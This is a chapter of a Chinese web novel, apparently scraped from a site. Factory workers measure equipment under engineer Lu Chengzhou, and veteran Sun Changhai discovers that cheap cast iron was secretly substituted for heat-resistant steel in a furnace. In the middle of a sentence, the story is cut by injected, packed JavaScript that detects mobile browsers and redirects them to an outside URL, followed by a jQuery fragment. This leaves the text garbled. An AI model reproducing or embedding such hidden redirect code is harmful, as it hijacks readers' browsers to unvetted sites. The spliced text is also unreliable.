一场前所未有的战争，在红星厂铸造车间的钢铁丛林里，以一种近乎荒诞的形式打响了。


    它的武器，不是炮火，而是钢尺与卡尺发出的清脆鸣响。


    它的战壕，不是泥土，而是画在粗糙水泥地上的一道道白色粉笔线。


    它的敌人，不是有血有肉的对手，而是潜藏在每一颗螺丝、每一寸钢板、每一台机器深处的，那个被称作“误差”的无形幽灵。


    工人们的热情，像一炉刚刚出膛的铁水，滚烫而炽烈。


    然而，这股热情很快就撞上了第一堵冰墙现实。


    “六百五十……不对，是六百五十一毫米！”


    一个负责记录的年轻工人，对着手里的游标卡尺，几乎把眼珠子瞪了出来，额上青筋暴起。


    “放屁！”


    负责测量的壮汉一把抢过卡尺，粗大的手指笨拙地拨弄着那精密的游标，“你看花眼了吧！这明明是六百五十点五！后面那根线，跟上面对得齐齐的！”


    “点五？差了半毫米，那叫差吗？以前咱们做模具，差一毫米的都不当回事！”


    “路总工说了！相信数据！半毫米就不是数据了？”


    类似的争吵，在车间的每一个角落此起彼伏。


    一毫米，这个在过去被他们视若无物的单位，此刻仿佛成了一道无法逾越的鸿沟，将昔日里称兄道弟的工友们，分割在了对立的两岸。


    他们为了零点几毫米的读数争得面红耳赤，为了一个数字的书写规范而大打出手，那股认真劲儿，比当初跟王德发的狗腿子们干架时，有过之而无不及。


    李铁牛的“测绘机动队”，成了全场最忙碌、也最焦头烂额的团队。


    他们像一群救火队员，端着工具箱，在各个“战区”之间疲于奔命。


    “牛哥！三组的卷尺拉断了！”


    “牛哥！五组的两个人为了一根轴承的内径是不是椭圆打起来了！”


    “牛哥！八组把墨斗线弹到刘主任刚换的玻璃上了……”


    李铁牛的咆哮声几乎要掀翻车间的屋顶，他那颗朴素的脑袋里，第一次被塞进了如此多琐碎而要命的细节。


    他终于痛苦地意识到，路总**中那句“建立数据库”，每一个字背后，都堆积着如山一般繁重的、令人抓狂的工作。


    这比让他扛着一百斤的铁锭跑上十个来回，要累得多。


    路承舟始终没有介入这场混乱。


    他只是缓步穿行在这片喧嚣的战场，像一个经验丰富的将军巡视着他那支刚刚拿起武器、却还不知如何列阵的新兵。


    他的目光平静而锐利，总能在最关键的时刻，发现最核心的问题。


    他走到一台旧式钻床前，那里，两个工人正为钻头卡口的磨损程度该如何量化而犯愁。


    “用手摸，感觉这里凹进去一块，可卡尺又量不出来。”


    一个工人苦恼地说道。


    路承舟没有说话，只是从口袋里掏出了一小盒东西，递了过去。


    那是一盒工业上常用的红丹粉。


    “把它均匀地涂在卡口内壁，然后用一根标准的圆钢**去旋转一圈。”


    他淡淡地开口，“红色被磨掉最多的地方，就是磨损最严重的地方。数据无法抵达的死角，就用逻辑和方法，让它现形。”


    两个工人恍然大悟，眼神里瞬间充满了敬佩与折服。


    他又走到另一边，一个小组正试图测量一根悬在半空的蒸汽管道的长度，几个人爬上爬下，用短尺一截一截地量，效率低下且危险。


    路承舟叫停了他们，指了指管道在地上的影子。


    “今天是晴天，光线角度很稳定。”


    他捡起一根一米长的钢筋，垂直插在地上，量出它的影长。


    “有了这个比例，你们只需要测量管道影子的长度，就能用最简单的乘除法，计算出管道的实际长度。这种方法，叫三角测量法。”


    工人们仰着头，看着那根平平无奇的管道，又看看地上清晰的影子，再看看路承舟，那眼神，仿佛在看一位点石成金的神只。


    知识。


    一种前所未有的、名为“知识”的力量，正通过路承舟这个媒介，化作一个个具体、实用、且威力无穷的方法，清晰地展现在他们面前。


    它不像经验那样模糊，也不像蛮力那样粗暴。


    它优雅、精准，带着一种令人心醉的、属于秩序的美感。


    如果说，“相信数据”是路承舟为他们开启的第一扇门，那么此刻，他正在亲手教他们，如何建造通往这扇门之后的整个世界所需要的，一级又一级坚实的台阶。


    与这片普遍的混沌相比，孙长海的“一号冲天炉评估小组”，则像风暴中的定海神针，沉稳得可怕。


    这几位全厂资格最老、手艺最精湛的老师傅，在经历了最初的震撼与迷茫后，迅速展现出了他们骨子里那股属于顶尖工匠的专注与严谨。


    他们没有急着去测量炉身的尺寸，而是做了三件看似毫不相干的准备工作。


    第一件，清理。


    他们用刮刀、钢丝刷和高压水枪，将冲天炉外壁上积攒了二十年的铁锈、油污和尘垢，一层一层地刮了下来。


    当那台灰黑色的庞然大物，终于露出了它那遍布着伤痕与焊缝的金属本体时，所有人都有一种错觉，仿佛他们不是在清理一台机器，而是在为一个即将接受解剖的病人，进行术前备皮。


    第二件，校准。


    孙长海亲自带着人，在距离冲天炉十米开外的地方，用铅垂和水平仪，拉出了一条绝对水平、绝对垂直的基准线。


    这条线，就是他们接下来所有测量的“原点”，是这场审判中，不容置疑的“法典第一条”。


    第三件，分区。


    他们用白色粉笔，在巨大的炉身上，画出了一个个一米见方的网格，并用数字和字母进行了精确编号。


    从A1到Z20，这台冰冷的机器，被他们用一种近乎于艺术创作的方式，变成了一张巨大的、等待填写的坐标图。


    当这一切准备工作完成


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432515|183469||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时，半天时间已经过去。


    车间里的喧嚣，不知何时已经平息了下来。


    所有的工人，都不约而同地停下了手中的活计，远远地围成一个半圆，屏息静气地看着孙长海的团队。


    他们看懂了。


    这已经不是简单的测量了。


    这是一种仪式，一种对科学、对真理的，庄严的朝拜。


    孙长海深吸一口气，从工具箱里，取出了一件所有人都没想到的工具一个听诊器。


    那是他从厂医务室里借来的。


    他将冰冷的金属探头，郑重地贴在了编号为“C5”的格子里，然后用一把小锤，在探头旁边，轻轻地、有节奏地敲击着。


    “咚……咚……咚……”


    清脆而沉闷的声音，通过听诊器，清晰地传进他的耳中。


    他闭上眼睛，神情专注得如同在聆听一个垂死病人的心跳。


    “声音清亮，回响均匀。”


    他低声说道，旁边负责记录的老师傅，立刻在C5的格子里，画上了一个代表“优良”的圆圈。


    他又将探头移到旁边的“C6”格。


    “咚……咚……嗒……”


    敲击到第三下时，那声音，突然变得有些发闷，失去了回响。


    孙长海的眉头，猛地一皱。


    他加大了敲击的力度。


    “嗒……噗……噗……”


    那声音，愈发浑浊，像是敲在了一块包裹着棉花的朽木上。


    孙长海的脸色，瞬间变了。


    他扔掉听诊器，拿起一把更为沉重的检查锤，对着C6区域，狠狠地砸了下去！


    “当！”


    一声巨响，火星四溅！


    在所有人惊骇的目光中，那块区域的钢板，竟然……


    竟然被砸出了一个浅浅的凹坑！


    炉壁外壳那厚达数厘米的特种钢板，在这里，脆弱得如同锡纸！


    “这……这不可能！”


    一个老师傅失声惊呼，“这里的钢板，都是统一规格的，怎么可能这么软？”


    孙长海没有说话，他的脸色已经难看到了极点。


    他死死地盯着那个凹坑，瞳孔骤然收缩。


    他看到，在凹坑的边缘，因为金属延展而崩裂的表层之下，露出的，不是钢材应有的银灰色，而是一种带着暗黄斑点的、丑陋的灰白色！


    那是铸铁！


    而且是质量最差的、含硫量和含磷量严重超标的劣质铸铁！


    有人，在建造这台工厂心脏的时候，偷工减料！


    用廉价而脆弱的劣质铸铁，替换了本该用在这里的特种耐热钢！


    一股寒气，顺着孙长海的尾椎骨，直冲天灵盖！


    他猛地抬起头，与不远处同样脸色凝重的路承舟，四目相对。


    他们都明白这意味着什么。


    这已经不是设计缺陷了。


    这是**。


    一场蓄谋已久的、针对整个红星厂的、长达二十年的慢性**！